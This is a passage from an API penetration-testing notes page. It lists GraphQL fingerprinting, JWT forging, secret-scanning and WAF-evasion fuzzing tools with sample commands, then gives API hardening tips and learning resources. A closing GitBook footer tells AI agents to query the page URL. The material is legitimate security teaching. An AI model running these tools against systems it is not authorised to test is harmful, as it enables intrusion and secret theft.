See the Reverse Engineering an API section above for full usage — converts captured `mitmweb` traffic into an OpenAPI 3.0 spec.

#### DevTools

Browser DevTools contains some highly underrated web application hacking tools.

#### sj

An amazing recon tool: <https://github.com/BishopFox/sj>

#### graphw00f

Fingerprints the GraphQL engine behind an endpoint by sending various (including malformed) GraphQL queries and observing backend behavior/error messages.

```bash
git clone https://github.com/dolevf/graphw00f
cd graphw00f
python3 main.py -f -d -t http://94.237.53.111:59300
```

Or directly:

```bash
python3 main.py -d -f -t http://172.17.0.2
```

Reference: <https://github.com/dolevf/graphw00f>

#### GraphQL-Cop

A security audit tool for GraphQL APIs. After cloning and installing dependencies, run:

```bash
python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql
```

It executes multiple baseline security configuration checks and lists identified issues an excellent starting point before manual testing.

#### graphql-security-scanner

```bash
npm install -g graphql-security-scanner
graphql-security-scanner --endpoint http://target/graphql --schema introspection
```

More: <https://cheatsheetseries.owasp.org/cheatsheets/GraphQL\\_Cheat\\_Sheet.html>

#### Param Miner (Burp Extension)

Automatically guesses hidden parameter names (up to 65,536 per request), tailored to the application based on scope. See the Mass Assignment section above for full usage steps.

Link: <https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943>

#### TruffleHog

Automated secrets scanner for GitHub, GitLab, S3, filesystems, and Syslog.

```bash
sudo docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=target-name
```

More: <https://github.com/trufflesecurity/trufflehog>

#### JWT\_Tool

CLI tool for analyzing, scanning, forging, and brute-forcing JWTs.

Key flags: `-h`, `-t <url>`, `-M pb|at`, `-rc`, `-rh`, `-pd`

More: <https://github.com/ticarpi/jwt\\_tool/wiki>

#### Burp Sequencer

Used for token randomness/predictability analysis see the Token Analysis section above.

#### Wfuzz

Fuzzing tool with strong payload-processing/encoding support for WAF evasion.

```bash
wfuzz -e encoders
wfuzz -z file,wordlist/api/common.txt,base64
wfuzz -z list,TEST,base64-md5-none
```

Docs: <https://wfuzz.readthedocs.io/>

***

### Preventing API Vulnerabilities

When designing APIs, build security in from the start:

* Secure documentation if the API isn't meant to be public.
* Keep documentation accurate and up to date so legitimate testers have full visibility of the attack surface.
* Apply an allowlist of permitted HTTP methods.
* Validate that the content type is expected for every request/response.
* Use generic error messages to avoid leaking information useful to attackers.
* Apply protective measures across **all** versions of the API, not just the current production version.
* Allowlist properties that users are permitted to update, and blocklist sensitive properties to prevent mass assignment.

***

### Resources

* [APISec University — API Penetration Testing](https://university.apisec.ai/products/api-penetration-testing)
* [YouTube Playlist — API Hacking](https://www.youtube.com/watch?v=b3l2ZHsHiuI\&list=PL-DxAN1jsRa-BzhRSBWCVEa9g4BBTBJ1Y)
* [PortSwigger — API Testing](https://portswigger.net/web-security/api-testing)
* [PortSwigger — Top 10 API Vulnerabilities](https://portswigger.net/web-security/api-testing/top-10-api-vulnerabilities)
* [Wiz — Bug Bounty Masterclass](https://www.wiz.io/bug-bounty-masterclass#real-world-hacks)
* [YouTube Playlist — API Security](https://www.youtube.com/watch?v=WtkKwO1viI8\&list=PLJqm1QY3wEqLr8F_8JqRjkKYiViE2wmFq)
* [YouTube — API Hacking Walkthrough](https://youtu.be/AjXTexDjOBA?si=Aps20oLAT7WI8noC)
* [YouTube — API Hacking Walkthrough](https://youtu.be/vouhkAfCtFY?si=RUVSoXkK5xMhOOds)
* [YouTube — API Hacking Walkthrough](https://youtu.be/AzlkcCuhg_c?si=_e1k24IieTF4AYqE)

<figure><img src="/files/HMHGbhCSFJOVeNVhdlWC" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/api-pentesting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
